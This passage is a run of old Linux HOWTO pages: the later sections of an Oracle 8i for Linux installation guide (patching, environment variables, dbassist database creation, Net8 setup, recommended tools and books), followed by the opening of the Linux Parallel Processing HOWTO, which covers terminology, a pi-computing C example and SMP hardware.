  1. This is probably the first of many patches, so create a directory called "patches" somewhere convenient (mine is in $ORACLE_HOME).
  2. Download the file into it.
  3. Create somewhere to put the files:
    mkdir /tmp/orapatch
cd /tmp/orapatch
  4. Uncompress the file:
    tar zvxf $ORACLE_HOME/patches/linux815patches.tgz
  5. Run the shell script that's now in the current directory:
    ./linux_815patches.sh

Note that it's important not to uncompress the file in the current directory. The patch installer checks that the correct number of files are present and fails if there are not the right number. Of course, if it finds the patch archive it finds too many files!

3.4 Setting up your environment

Add the following lines to your ".profile" (or whatever the equivalent is for your shell):

. oraenv
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib

Quite why the Oracle installer doesn't do this I have no idea.

If you see "[: integer expression expected before -lt" the next time you log in, it's because 'oraenv' is expecting your ULIMIT to be an integer rather than the default 'unlimited.' I've seen no ill effects by ignoring the error, but you can fix it by setting the ULIMIT to something finite.

3.5 Installations questions and answers

The installation program exits with 'CreateOUIProcess()'

Firstly, make sure that you're running the right version of the JVM. I don't know what Oracle do with their software, but it's very dependent on the version you use.

Secondly, it might help if, instead of running runInstaller from the root of the CD, you move into install/linux and run the runInst.sh shell script instead.

This problem seems more common on RedHat 6.1 than 6.0 and could be something to do with a newer C library.

I've also heard reports that if you have the wrong version of Gnome's usual window manager, Enlightenment, you might get this problem. Upgrade or switch to another environment such as KDE or Fvwm2.

The installer just flashes on the screen and then vanishes

This is not an uncommon occurrence. Usually it means that you're running an old version of Enlightenment. Upgrading or switching to another environment should fix the problem.

A similar problem is the installation program vanishing at some later point in the process, often around 80% of the way through. The consensus seems to be that Oracle ran out of memory. You should increase the amount of swap space your machine has, anything over 200Mb should be sufficient.

Strange Java errors when I start the installation program?

Which version of the Java Virtual Machine are you using? People have claimed success with other versions, but most of the problems that I had disappeared when I downgraded to JRE 1.1.6v5, the one that Oracle recommends in their documentation.

Two other things that are worth mentioning: make sure you use the JRE and not the JDK and, secondly, you should be using "green" threads. Unless you've set THREADS_FLAG to 'native' you almost certainly have the correct setting.

The installation program 'Segmentation Fault's

You do have GLIBC 2.1 don't you?

Problems loading shared libraries

The error message that I'm talking about looks a bit like this:

error in loading shared libraries: libclntsh.so.8.0: cannot open
shared object file: No such file or directory

This is the same as NT complaining that it can't find a DLL. It's very easy to fix. Simply add the following line to the end of your ".profile" if you're using a Bourne-like shell (ask a local guru if you don't know):

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib

Or use the following line if you're using a CSH-like shell:

setenv LD_LIBRARY_PATH "$LD_LIBRARY_PATH
$ORACLE_HOME/lib"

I don't use the C-Shell, so independent verification of this command would be appreciated.

Pro*C doesn't work

The answer to this took quite a bit of tracking down, although the answer is on the Oracle web site if you look hard enough.

The default configuration of Pro*C doesn't know where to find all its libraries, so you need to tell it. After installation $ORACLE_HOME/precomp/admin/pcscfg.cfg is empty, but it needs to contain the following:

sys_include=(/home/oracle/precomp/public, /usr/include,
/usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/include/,
/usr/include, /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/include,
/usr/include)
include=(/home/oracle/precomp/public)
include=(/home/oracle/rdbms/demo)
include=(/home/oracle/network/public)
include=(/home/oracle/plsql/public)
ltype=short

(The first four lines above, from sys_include to include) should all be on the same line in the file.)

The Oracle documentation doesn't mention this, but you also need to edit $ORACLE_HOME/precomp/lib/env_precomp.mk. On the line that defines CCPSYSINCLUDE, put the following:

CCPSYSINCLUDE=sys_include='($(ORACLE_HOME)/precomp/public,
/usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/include,
/usr/include/g++-2, /usr/include)'

This works for RedHat 6.0, but may need tweaking for other distributions or later versions of RH.

I installed the patch but it made things worse!

This is tricky, barely documented by Oracle and common across all their products and installation programs. It's about time they did something about it!

Often what happens is as follows: you install Oracle Enterprise Edition and, as Oracle tells you, you dash off and install all the available patches. Then you decide you need the pre-compilers and install Oracle Programmer from the same CD.

Before you installed Pro*C your database worked, and now it doesn't.

The problem is that the versions of the pre-compilers that you installed were not patched and some of the Oracle server code relies on the fixes; Oracle's installer is so stupid that it will overwrite newer version of the same code.

The solution is not pretty. Since you can't extract an individual file from the CD you need to install the whole thing again, this time adding Oracle Programmer before the patch.

Oracle thinks I don't have enough disk space

There's something wrong with the installation program. Assuming you do have enough space it will install okay.


Oracle for Linux Installation HOWTO: Creating a database

 Next Previous Contents

4. Creating a database

4.1 Overview

Hopefully you followed the advice from the previous section and didn't create a database.

For most people, I can probably outline the process in a couple of words: "Run 'dbassist'." Unless this is the first time you've ever run Oracle, none of the questions should really phase you.

For completeness, I'll document what I did but I'd best say what I was aiming for first. Bottom line: this is neither a production system nor a 'serious' (i.e., several people, full time) development box. I installed 8i to play around and see what was new or different from 8 and older versions.

This means that when 'dbassist' offered an easy option I took it. And when it suggested using a different disk, or at least a different partition, I declined. My $ORACLE_HOME is /home/oracle. All the data files and software are in there, all on one partition.

4.2 Step-by-step guide

  1. Bring up a command prompt and type:
    dbassist
  2. My machine tells me that "JNLS Exception: oracle.ntpg.jnls.JNLSException. Unable to find any National Character Sets." According to Oracles 8i Patch FAQ, this is a known problem (884001) and can safely be ignored.
  3. Select the "Create a database" radio button and press "Next"
  4. There are two options: Typical and Custom. If you knew exactly what you were doing you probably wouldn't be reading this and could comfortably select Custom. I'm not going to cover that. Instead I'll assume you select "Typical" and press "Next"
  5. Next it asks whether you want to copy the database from your CD or to create the data files. Whenever I tried the first option, Oracle couldn't find my CD player (you just installed from it!). So I recommend choosing the second option. It's not difficult, it probably just takes longer
  6. It's probably safe to select 'Hybrid' when it asks you what environment the database will operate in
  7. Now it asks you how many users will be using your database at any given time. I put five.
  8. Next it asks you what products you want to install in your new database. Again, you know what you want better than me!
  9. Oracle needs a "Global Database Name" and a "SID" now. The database name is like a fully qualified domain name (but different). If you're the Oracle guru you'll know what to put, if not your organisation might have some conventions. I called mine 'dev1' (both the SID and database name).
  10. Now, do you want to create the database 'now' or should you let it save the information to a shell script? With 128Mb of RAM I found the former option painful. I created the shell script, quit out of X and anything else using a lot of memory and then ran the script. Much more snappy.
  11. I didn't notice this in any of the documentation, but your database won't work properly without it! The database that 'dbassist' creates is fine, but by default the user rollback segments are left off-line. (Read: non-system users can't perform any operation that requires transactions.) Type:
    cd $ORACLE_HOME/dbs
    You now need to edit a file called "init<SID>.ora" ("initdev1.ora" in my case). About half-way down the file is a commented out line looking something like this:
    # rollback_segments = (r01, r02, r03, r04)
    Uncomment this line (remove the hash), save the file and you're done.
  12. This is a kind of meta-step. You have a database and you should be able to start it up, but you probably don't know what any of the system passwords are! There are two that you need to know. The first is the SYSTEM password. This defaults to 'MANAGER'. (It seems to be conventional to put Oracle passwords in uppercase. In fact passwords are not case sensitive.) I recommend you change it straight away by typing password at the SQL*Plus prompt. (For people expecting an ALTER USER command, this is new to the version of SQL*Plus supplied with 8i.) The other password that you need to know is the one for SYS. It defaults to 'CHANGE_ON_INSTALL' and you should do exactly what it says!
  13. Final step. This one gets rid of the annoying 'no profile' warnings you get when you log into SQL*Plus. Log into SQL*Plus as user 'system' (sqlplus system/<password>). Then type:
    @?/sqlplus/admin/pupbld.sql
    The question-mark is an alias for the $ORACLE_HOME directory.
  14. This is an optional step used to define the default editor for SQL*Plus (it defaults to ed so you do!). Open $ORACLE_HOME/sqlplus/admin/glogin.sql in your favourite editor and add define_editor=<editor name> to the end.

And that's it. You should now have an operational database that you can log into using SQL*Plus.

4.3 Questions and answers

Is it really that easy?

Yes and no. If you're just playing around, building a database for yourself to learn the new features of 8i, then 'yes.' The database the above instructions will build is complete and will work fine.

However, if you know anything about Oracle, you will quickly realise that the default configuration is appallingly bad. If you're making a serious, production system I recommend you use the "Custom" option.

Even for my toy system I did some tweaking. I increased the sizes of most of the table-spaces and changed them so that they didn't grow automatically (I hate software when it tries to be too clever).

Is it really necessary to put all the files on different disks?

No and it will work fine if you don't, but I don't recommend putting all your files on the same disk nevertheless.

Spreading the files over a number of disks, even it's just the data files on one and the rollback segments on another, will have a significant performance advantage. Read an Oracle DBA book if you need further information.

I can't start dbassist

Caused by several zero-length files in the initial installation. Following the patch procedure will fix this problem.

I get "ORA-01034: ORACLE not available"

To cut a long story short, your $ORACLE_SID is probably set incorrectly or not at all. Make sure it's set to the same value you gave 'dbassist' and that it's value is exported (i.e., export ORACLE_SID in any Bourne compatible shell).

I get "ORA-01012: Not logged in"

This is a very common error, and there are a number of different things that cause it.

Firstly you'll want to make sure that you're not creating a Shared Server configuration (sometimes known as MTS). Create a database using Dedicated Server and convert it later.

If that's not it, check your NLS_LANG environment variable. The easiest option is to unset it. If you really want to use it, make sure that you have it exactly right. Make sure you don't transpose any '1's (one's) for 'l's (the twelfth letter of the alphabet)!

Can datafiles only be 1Gb in size?

'dbassist' won't let you create a datafile bigger than 1Gb. I believe this to be a bug as Linux has no problem with files up to 2Gb.


Oracle for Linux Installation HOWTO: Configuration

 Next Previous Contents

5. Configuration

5.1 Overview

Congratulations, you have Oracle running on your Linux box. You have created a database and can connect to it using SQL*Plus.

Of course, this is not the end of it. Ideally, you'd be able to connect to it as another Unix user or from a completely different machine. That is what this section is for.

5.2 Connecting as another user

Some of the details in this section are a little sketchy as this is not a configuration that I personally use. However, performing one of the following steps should work:

  • . oraenv
    if you run a Bourne-like shell (like Bash or pdksh)
  • source coraenv
    if you prefer the C-Shell

When running "oraenv" I get an error if I use 'bash', the default Linux shell. It seems not to cause any problems so don't worry. You can always use 'pdksh' if it does worry you.

5.3 Connecting from another machine

I remember this being very complex with earlier versions of Oracle, but just seemed to work here. I'm sure that must mean that I did something wrong, forgot something I did or that there's a massive security hole.

This is what I remember doing:

  1. Logging into Linux as user 'oracle'
  2. Make sure that "oraenv" has been executed (i.e., your $ORACLE_HOME is set correctly)
  3. Type:
    lsnrctl start

On your client machine all you need to do now is point it at the right machine and database instance.

If you want more control over the process, the "Net8 Configuration Assistant" ('netec') should be able to help.

5.4 Connecting to another machine

This used to be very difficult in many earlier version of Oracle, involving editing many text files, most of which had an fantastically complex syntax.

But in 8i, if you've got your JVM working, then all you need is the "Net8 Easy Config" program. Follow these steps to allow your machine to connect to a database on another machine:

  1. Start "Net8 Easy Config" by typing netec at the command prompt while logged in as 'oracle.'
  2. After a short delay while Java gets its act together, the welcome screen appears. It should be asking what you want to do. Leave the radio buttons on the left alone (the default is 'create') and enter the name of the database in the text box. Click 'Next' when you're done.
  3. Select one of the protocols it offers. Unless you know differently, this should probably be 'TCP/IP' which is the default. Press 'Next.'
  4. Enter the hostname (or IP address) of the remote machine. The port number probably doesn't need changing. Press 'Next.'
  5. Select the type of database (8i or other) using the radio buttons and enter the name in the appropriate text box. Press 'Next.'
  6. You can now test that the information you've enter makes sense to Oracle. I found that 'netec' has a tendency to crash if some of the details are wrong. Press 'Next' when you're sure that it all works. You can keep pressing the 'Back' button to go back and correct any information.
  7. If you're happy with all the information you've entered, you can press the 'Finish' button and that's it!

If you want more control over the process, you may need to use the "Net8 Assistant" -- a big window with many confusing options -- which can be started with the netasst command.

5.5 Questions and answers

I can't start 'netasst'

The problem is with a couple of zero-length files. Installing the patch should fix this problem.


Oracle for Linux Installation HOWTO: Final Words

 Next Previous Contents

6. Final Words

6.1 Useful Software

Now that you've managed to get Oracle installed, you'll want to try and use it. Although it's possible to do everything from your server PC, it's generally best to user the client-server facilities and use another machine to access your database.

Naturally Oracle have a large collection of, largely, pretty good client software, however there's not much for Linux at this time. Of the Oracle software, I recommend getting hold of the following:

  • Oracle Enterprise Manager. It's much easier not to have to remember all those obscure ALTER USER and ALTER SYSTEM commands.
  • Oracle WebDB. It can be quite difficult to install, but it can allow people to build impressive web-sites without knowing any HTML.

But most of the best software comes from other places...

  • Tool for Oracle Application Development (T.O.A.D.). This used to be free but is now owned by Quest Software. You can download a free version (if you're prepared to do it every couple of months) or you can pay for it. It's significantly more expensive than free but is not bad value.
  • SQLNavigator. Also by Quest Software. I've not really used it but it's been highly recommended by all who have.
  • Orac. Another that I've not used much, but has been described as a nice, configurable DBA-tool by a number of people.

6.2 Useful Books

I seem to get most of my Oracle information from colleagues and books. I'm not able to give away my colleagues, but the books I recommend are as follows:

  • Oracle Performance Tuning, Mark Gurry and Peter Corrigan, O'Reilly and Associates, ISBN 1-56592-237-9.
  • Oracle Design, Dave Ensor and Ian Stevenson, O'Reilly and Associates, ISBN 1-56592-268-9.
  • PL/SQL Programming, Steven Feuerstein, O'Reilly and Associates, ISBN 1-56592-335-9.
  • PL/SQL Built-in Packages, Steven Feuerstein, O'Reilly and Associates, ISBN 1-56592-375-8.

You'll note a bit of an O'Reilly theme there. I've not found a bad O'Reilly book yet. Similarly, I've never found a good Oracle Press book.

6.3 Useful Internet resources

There's a lot of useful stuff on the web.

  • Oracle Technet. This is Oracle's public and free support website. Lot's of very useful information there.
  • Oracle Metalink. Oracle's private (you need a support contract) support website. Only slightly more useful than Technet!
  • Oracle Fans. Editorials and support forums. No official connection to Oracle (so the information there is less biased!).
  • OraFaq. A site full of questions and answers regarding Oracle on all platforms.
  • Oracle Linux mailing list (Send a mail to ListGuru@fatcity.com with the words 'SUBSCRIBE ORACLE-LINUX-L' in the body.
  • And don't forget my website!


Linux Parallel Processing HOWTO

Hank Dietz, pplinux@ecn.purdue.edu

v980105, 5 January 1998

Parallel Processing refers to the concept of speeding-up the execution of a program by dividing the program into multiple fragments that can execute simultaneously, each on its own processor. A program being executed across N processors might execute N times faster than it would using a single processor. This document discusses the four basic approaches to parallel processing that are available to Linux users: SMP Linux systems, clusters of networked Linux systems, parallel execution using multimedia instructions (i.e., MMX), and attached (parallel) processors hosted by a Linux system.

1. Introduction

  • 1.1 Is Parallel Processing What I Want?
  • 1.2 Terminology
  • 1.3 Example Algorithm
  • 1.4 Organization Of This Document

2. SMP Linux

  • 2.1 SMP Hardware
  • 2.2 Introduction To Shared Memory Programming
  • 2.3 bb_threads
  • 2.4 LinuxThreads
  • 2.5 System V Shared Memory
  • 2.6 Memory Map Call

3. Clusters Of Linux Systems

  • 3.1 Why A Cluster?
  • 3.2 Network Hardware
  • 3.3 Network Software Interface
  • 3.4 PVM (Parallel Virtual Machine)
  • 3.5 MPI (Message Passing Interface)
  • 3.6 AFAPI (Aggregate Function API)
  • 3.7 Other Cluster Support Libraries
  • 3.8 General Cluster References

4. SIMD Within A Register (e.g., using MMX)

  • 4.1 SWAR: What Is It Good For?
  • 4.2 Introduction To SWAR Programming
  • 4.3 MMX SWAR Under Linux

5. Linux-Hosted Attached Processors

  • 5.1 A Linux PC Is A Good Host
  • 5.2 Did You DSP That?
  • 5.3 FPGAs And Reconfigurable Logic Computing

6. Of General Interest

  • 6.1 Programming Languages And Compilers
  • 6.2 Performance Issues
  • 6.3 Conclusion - It's Out There


Linux Parallel Processing HOWTO: Introduction

 Next Previous Contents

1. Introduction

Parallel Processing refers to the concept of speeding-up the execution of a program by dividing the program into multiple fragments that can execute simultaneously, each on its own processor. A program being executed across n processors might execute n times faster than it would using a single processor.

Traditionally, multiple processors were provided within a specially designed "parallel computer"; along these lines, Linux now supports SMP systems (often sold as "servers") in which multiple processors share a single memory and bus interface within a single computer. It is also possible for a group of computers (for example, a group of PCs each running Linux) to be interconnected by a network to form a parallel-processing cluster. The third alternative for parallel computing using Linux is to use the multimedia instruction extensions (i.e., MMX) to operate in parallel on vectors of integer data. Finally, it is also possible to use a Linux system as a "host" for a specialized attached parallel processing compute engine. All these approaches are discussed in detail in this document.

1.1 Is Parallel Processing What I Want?

Although use of multiple processors can speed-up many operations, most applications cannot yet benefit from parallel processing. Basically, parallel processing is appropriate only if:

  • Your application has enough parallelism to make good use of multiple processors. In part, this is a matter of identifying portions of the program that can execute independently and simultaneously on separate processors, but you will also find that some things that could execute in parallel might actually slow execution if executed in parallel using a particular system. For example, a program that takes four seconds to execute within a single machine might be able to execute in only one second of processor time on each of four machines, but no speedup would be achieved if it took three seconds or more for these machines to coordinate their actions.
  • Either the particular application program you are interested in already has been parallelized (rewritten to take advantage of parallel processing) or you are willing to do at least some new coding to take advantage of parallel processing.
  • You are interested in researching, or at least becoming familiar with, issues involving parallel processing. Parallel processing using Linux systems isn't necessarily difficult, but it is not familiar to most computer users, and there isn't any book called "Parallel Processing for Dummies"... at least not yet. This HOWTO is a good starting point, not all you need to know.

The good news is that if all the above are true, you'll find that parallel processing using Linux can yield supercomputer performance for some programs that perform complex computations or operate on large data sets. What's more, it can do that using cheap hardware... which you might already own. As an added bonus, it is also easy to use a parallel Linux system for other things when it is not busy executing a parallel job.

If parallel processing is not what you want, but you would like to achieve at least a modest improvement in performance, there are still things you can do. For example, you can improve performance of sequential programs by moving to a faster processor, adding memory, replacing an IDE disk with fast wide SCSI, etc. If that's all you are interested in, jump to section 6.2; otherwise, read on.

1.2 Terminology

Although parallel processing has been used for many years in many systems, it is still somewhat unfamiliar to most computer users. Thus, before discussing the various alternatives, it is important to become familiar with a few commonly used terms.

SIMD:

SIMD (Single Instruction stream, Multiple Data stream) refers to a parallel execution model in which all processors execute the same operation at the same time, but each processor is allowed to operate upon its own data. This model naturally fits the concept of performing the same operation on every element of an array, and is thus often associated with vector or array manipulation. Because all operations are inherently synchronized, interactions among SIMD processors tend to be easily and efficiently implemented.

MIMD:

MIMD (Multiple Instruction stream, Multiple Data stream) refers to a parallel execution model in which each processor is essentially acting independently. This model most naturally fits the concept of decomposing a program for parallel execution on a functional basis; for example, one processor might update a database file while another processor generates a graphic display of the new entry. This is a more flexible model than SIMD execution, but it is achieved at the risk of debugging nightmares called race conditions, in which a program may intermittently fail due to timing variations reordering the operations of one processor relative to those of another.

SPMD:

SPMD (Single Program, Multiple Data) is a restricted version of MIMD in which all processors are running the same program. Unlike SIMD, each processor executing SPMD code may take a different control flow path through the program.

Communication Bandwidth:

The bandwidth of a communication system is the maximum amount of data that can be transmitted in a unit of time... once data transmission has begun. Bandwidth for serial connections is often measured in baud or bits/second (b/s), which generally correspond to 1/10 to 1/8 that many Bytes/second (B/s). For example, a 1,200 baud modem transfers about 120 B/s, whereas a 155 Mb/s ATM network connection is nearly 130,000 times faster, transferring about about 17 MB/s. High bandwidth allows large blocks of data to be transferred efficiently between processors.

Communication Latency:

The latency of a communication system is the minimum time taken to transmit one object, including any send and receive software overhead. Latency is very important in parallel processing because it determines the minimum useful grain size, the minimum run time for a segment of code to yield speed-up through parallel execution. Basically, if a segment of code runs for less time than it takes to transmit its result value (i.e., latency), executing that code segment serially on the processor that needed the result value would be faster than parallel execution; serial execution would avoid the communication overhead.

Message Passing:

Message passing is a model for interactions between processors within a parallel system. In general, a message is constructed by software on one processor and is sent through an interconnection network to another processor, which then must accept and act upon the message contents. Although the overhead in handling each message (latency) may be high, there are typically few restrictions on how much information each message may contain. Thus, message passing can yield high bandwidth making it a very effective way to transmit a large block of data from one processor to another. However, to minimize the need for expensive message passing operations, data structures within a parallel program must be spread across the processors so that most data referenced by each processor is in its local memory... this task is known as data layout.

Shared Memory:

Shared memory is a model for interactions between processors within a parallel system. Systems like the multi-processor Pentium machines running Linux physically share a single memory among their processors, so that a value written to shared memory by one processor can be directly accessed by any processor. Alternatively, logically shared memory can be implemented for systems in which each processor has it own memory by converting each non-local memory reference into an appropriate inter-processor communication. Either implementation of shared memory is generally considered easier to use than message passing. Physically shared memory can have both high bandwidth and low latency, but only when multiple processors do not try to access the bus simultaneously; thus, data layout still can seriously impact performance, and cache effects, etc., can make it difficult to determine what the best layout is.

Aggregate Functions:

In both the message passing and shared memory models, a communication is initiated by a single processor; in contrast, aggregate function communication is an inherently parallel communication model in which an entire group of processors act together. The simplest such action is a barrier synchronization, in which each individual processor waits until every processor in the group has arrived at the barrier. By having each processor output a datum as a side-effect of reaching a barrier, it is possible to have the communication hardware return a value to each processor which is an arbitrary function of the values collected from all processors. For example, the return value might be the answer to the question "did any processor find a solution?" or it might be the sum of one value from each processor. Latency can be very low, but bandwidth per processor also tends to be low. Traditionally, this model is used primarily to control parallel execution rather than to distribute data values.

Collective Communication:

This is another name for aggregate functions, most often used when referring to aggregate functions that are constructed using multiple message-passing operations.

SMP:

SMP (Symmetric Multi-Processor) refers to the operating system concept of a group of processors working together as peers, so that any piece of work could be done equally well by any processor. Typically, SMP implies the combination of MIMD and shared memory. In the IA32 world, SMP generally means compliant with MPS (the Intel MultiProcessor Specification); in the future, it may mean "Slot 2"....

SWAR:

SWAR (SIMD Within A Register) is a generic term for the concept of partitioning a register into multiple integer fields and using register-width operations to perform SIMD-parallel computations across those fields. Given a machine with k-bit registers, data paths, and function units, it has long been known that ordinary register operations can function as SIMD parallel operations on as many as n, k/n-bit, field values. Although this type of parallelism can be implemented using ordinary integer registers and instructions, many high-end microprocessors have recently added specialized instructions to enhance the performance of this technique for multimedia-oriented tasks. In addition to the Intel/AMD/Cyrix MMX (MultiMedia eXtensions), there are: Digital Alpha MAX (MultimediA eXtensions), Hewlett-Packard PA-RISC MAX (Multimedia Acceleration eXtensions), MIPS MDMX (Digital Media eXtension, pronounced "Mad Max"), and Sun SPARC V9 VIS (Visual Instruction Set). Aside from the three vendors who have agreed on MMX, all of these instruction set extensions are roughly comparable, but mutually incompatible.

Attached Processors:

Attached processors are essentially special-purpose computers that are connected to a host system to accelerate specific types of computation. For example, many video and audio cards for PCs contain attached processors designed, respectively, to accelerate common graphics operations and audio DSP (Digital Signal Processing). There is also a wide range of attached array processors, so called because they are designed to accelerate arithmetic operations on arrays. In fact, many commercial supercomputers are really attached processors with workstation hosts.

RAID:

RAID (Redundant Array of Inexpensive Disks) is a simple technology for increasing both the bandwidth and reliability of disk I/O. Although there are many different variations, all have two key concepts in common. First, each data block is striped across a group of n+k disk drives such that each drive only has to read or write 1/n of the data... yielding n times the bandwidth of one drive. Second, redundant data is written so that data can be recovered if a disk drive fails; this is important because otherwise if any one of the n+k drives were to fail, the entire file system could be lost. A good overview of RAID in general is given at http://www.dpt.com/uraiddoc.html, and information about RAID options for Linux systems is at http://linas.org/linux/raid.html. Aside from specialized RAID hardware support, Linux also supports software RAID 0, 1, 4, and 5 across multiple disks hosted by a single Linux system; see the Software RAID mini-HOWTO and the Multi-Disk System Tuning mini-HOWTO for details. RAID across disk drives on multiple machines in a cluster is not directly supported.

IA32:

IA32 (Intel Architecture, 32-bit) really has nothing to do with parallel processing, but rather refers to the class of processors whose instruction sets are generally compatible with that of the Intel 386. Basically, any Intel x86 processor after the 286 is compatible with the 32-bit flat memory model that characterizes IA32. AMD and Cyrix also make a multitude of IA32-compatible processors. Because Linux evolved primarily on IA32 processors and that is where the commodity market is centered, it is convenient to use IA32 to distinguish any of these processors from the PowerPC, Alpha, PA-RISC, MIPS, SPARC, etc. The upcoming IA64 (64-bit with EPIC, Explicitly Parallel Instruction Computing) will certainly complicate matters, but Merced, the first IA64 processor, is not scheduled for production until 1999.

COTS:

Since the demise of many parallel supercomputer companies, COTS (Commercial Off-The-Shelf) is commonly discussed as a requirement for parallel computing systems. Being fanatically pure, the only COTS parallel processing techniques using PCs are things like SMP Windows NT servers and various MMX Windows applications; it really doesn't pay to be that fanatical. The underlying concept of COTS is really minimization of development time and cost. Thus, a more useful, more common, meaning of COTS is that at least most subsystems benefit from commodity marketing, but other technologies are used where they are effective. Most often, COTS parallel processing refers to a cluster in which the nodes are commodity PCs, but the network interface and software are somewhat customized... typically running Linux and applications codes that are freely available (e.g., copyleft or public domain), but not literally COTS.

1.3 Example Algorithm

In order to better understand the use of the various parallel programming approaches outlined in this HOWTO, it is useful to have an example problem. Although just about any simple parallel algorithm would do, by selecting an algorithm that has been used to demonstrate various other parallel programming systems, it becomes a bit easier to compare and contrast approaches. M. J. Quinn's book, Parallel Computing Theory And Practice, second edition, McGraw Hill, New York, 1994, uses a parallel algorithm that computes the value of Pi to demonstrate a variety of different parallel supercomputer programming environments (e.g., nCUBE message passing, Sequent shared memory). In this HOWTO, we use the same basic algorithm.

The algorithm computes the approximate value of Pi by summing the area under x squared. As a purely sequential C program, the algorithm looks like:

#include <stdlib.h>;
#include <stdio.h>;

main(int argc, char **argv)
{
  register double width, sum;
  register int intervals, i;

  /* get the number of intervals */
  intervals = atoi(argv[1]);
  width = 1.0 / intervals;

  /* do the computation */
  sum = 0;
  for (i=0; i<intervals; ++i) {
    register double x = (i + 0.5) * width;
    sum += 4.0 / (1.0 + x * x);
  }
  sum *= width;

  printf("Estimation of pi is %f\n", sum);

  return(0);
}

However, this sequential algorithm easily yields an "embarrassingly parallel" implementation. The area is subdivided into intervals, and any number of processors can each independently sum the intervals assigned to it, with no need for interaction between processors. Once the local sums have been computed, they are added together to create a global sum; this step requires some level of coordination and communication between processors. Finally, this global sum is printed by one processor as the approximate value of Pi.

In this HOWTO, the various parallel implementations of this algorithm appear where each of the different programming methods is discussed.

1.4 Organization Of This Document

The remainder of this document is divided into five parts. Sections 2, 3, 4, and 5 correspond to the three different types of hardware configurations supporting parallel processing using Linux:

  • Section 2 discusses SMP Linux systems. These directly support MIMD execution using shared memory, although message passing also is implemented easily. Although Linux supports SMP configurations up to 16 processors, most SMP PC systems have either two or four identical processors.
  • Section 3 discusses clusters of networked machines, each running Linux. A cluster can be used as a parallel processing system that directly supports MIMD execution and message passing, perhaps also providing logically shared memory. Simulated SIMD execution and aggregate function communication also can be supported, depending on the networking method used. The number of processors in a cluster can range from two to thousands, primarily limited by the physical wiring constraints of the network. In some cases, various types of machines can be mixed within a cluster; for example, a network combining DEC Alpha and Pentium Linux systems would be a heterogeneous cluster.
  • Section 4 discusses SWAR, SIMD Within A Register. This is a very restrictive type of parallel execution model, but on the other hand, it is a built-in capability of ordinary processors. Recently, MMX (and other) instruction set extensions to modern processors have made this approach even more effective.
  • Section 5 discusses the use of Linux PCs as hosts for simple parallel computing systems. Either as an add-in card or as an external box, attached processors can provide a Linux system with formidable processing power for specific types of applications. For example, inexpensive ISA cards are available that provide multiple DSP processors offering hundreds of MFLOPS for compute-bound problems. However, these add-in boards are just processors; they generally do not run an OS, have disk or console I/O capability, etc. To make such systems useful, the Linux "host" must provide these functions.

The final section of this document covers aspects that are of general interest for parallel processing using Linux, not specific to a particular one of the approaches listed above.

As you read this document, keep in mind that we haven't tested everything, and a lot of stuff reported here "still has a research character" (a nice way to say "doesn't quite work like it should" ;-). However, parallel processing using Linux is useful now, and an increasingly large group is working to make it better.

The author of this HOWTO is Hank Dietz, Ph.D., currently Associate Professor of Electrical and Computer Engineering at Purdue University, in West Lafayette, IN, 47907-1285. Dietz retains rights to this document as per the Linux Documentation Project guidelines. Although an effort has been made to ensure the correctness and fairness of this presentation, neither Dietz nor Purdue University can be held responsible for any problems or errors, and Purdue University does not endorse any of the work/products discussed.


Linux Parallel Processing HOWTO: SMP Linux

 Next Previous Contents

2. SMP Linux

This document gives a brief overview of how to use SMP Linux systems for parallel processing. The most up-to-date information on SMP Linux is probably available via the SMP Linux project mailing list; send email to majordomo@vger.rutgers.edu with the text subscribe linux-smp to join the list.

Does SMP Linux really work? In June 1996, I purchased a brand new (well, new off-brand ;-) two-processor 100MHz Pentium system. The fully assembled system, including both processors, Asus motherboard, 256K cache, 32M RAM, 1.6G disk, 6X CDROM, Stealth 64, and 15" Acer monitor, cost a total of $1,800. This was just a few hundred dollars more than a comparable uniprocessor system. Getting SMP Linux running was simply a matter of installing the "stock" uniprocessor Linux, recompiling the kernel with the SMP=1 line in the makefile uncommented (although I find setting SMP to 1 a bit ironic ;-), and informing lilo about the new kernel. This system performs well enough, and has been stable enough, to serve as my primary workstation ever since. In summary, SMP Linux really does work.

The next question is how much high-level support is available for writing and executing shared memory parallel programs under SMP Linux. Through early 1996, there wasn't much. Things have changed. For example, there is now a very complete POSIX threads library.

Although performance may be lower than for native shared-memory mechanisms, an SMP Linux system also can use most parallel processing software that was originally developed for a workstation cluster using socket communication. Sockets (see section 3.3) work within an SMP Linux system, and even for multiple SMPs networked as a cluster. However, sockets imply a lot of unnecessary overhead for an SMP. Much of that overhead is within the kernel or interrupt handlers; this worsens the problem because SMP Linux generally allows only one processor to be in the kernel at a time and the interrupt controller is set so that only the boot processor can process interrupts. Despite this, typical SMP communication hardware is so much better than most cluster networks that cluster software will often run better on an SMP than on the cluster for which it was designed.

The remainder of this section discusses SMP hardware, reviews the basic Linux mechanisms for sharing memory across the processes of a parallel program, makes a few observations about atomicity, volatility, locks, and cache lines, and finally gives some pointers to other shared memory parallel processing resources.

2.1 SMP Hardware

Although SMP systems have been around for many years, until very recently, each such machine tended to implement basic functions differently enough so that operating system support was not portable. The thing that has changed this situation is Intel's Multiprocessor Specification, often referred to as simply MPS. The MPS 1.4 specification is currently available as a PDF file at http://www.intel.com/design/pro/datashts/242016.htm, and there is a brief overview of MPS 1.1 at http://support.intel.com/oem_developer/ial/support/9300.HTM, but be aware that Intel does re-arrange their WWW site often. A wide range of vendors are building MPS-compliant systems supporting up to four processors, but MPS theoretically allows many more processors.

The only non-MPS, non-IA32, systems supported by SMP Linux are Sun4m multiprocessor SPARC machines. SMP Linux supports most Intel MPS version 1.1 or 1.4 compliant machines with up to sixteen 486DX, Pentium, Pentium MMX, Pentium Pro, or Pentium II processors. Unsupported IA32 processors include the Intel 386, Intel 486SX/SLC processors (the lack of floating point hardware interferes with the SMP mechanisms), and AMD & Cyrix processors (they require different SMP support chips that do not seem to be available at this writing).

It is important to understand that the performance of MPS-compliant systems can vary widely. As expected, one cause for performance differences is processor speed: faster clock speeds tend to yield faster systems, and a Pentium Pro processor is faster than a Pentium. However, MPS does not really specify how hardware implements shared memory, but only how that implementation must function from a software point of view; this means that performance is also a function of how the shared memory implementation interacts with the characteristics of SMP Linux and your particular programs.

The primary way in which systems that comply with MPS differ is in how they implement access to physically shared memory.

Does each processor have its own L2 cache?

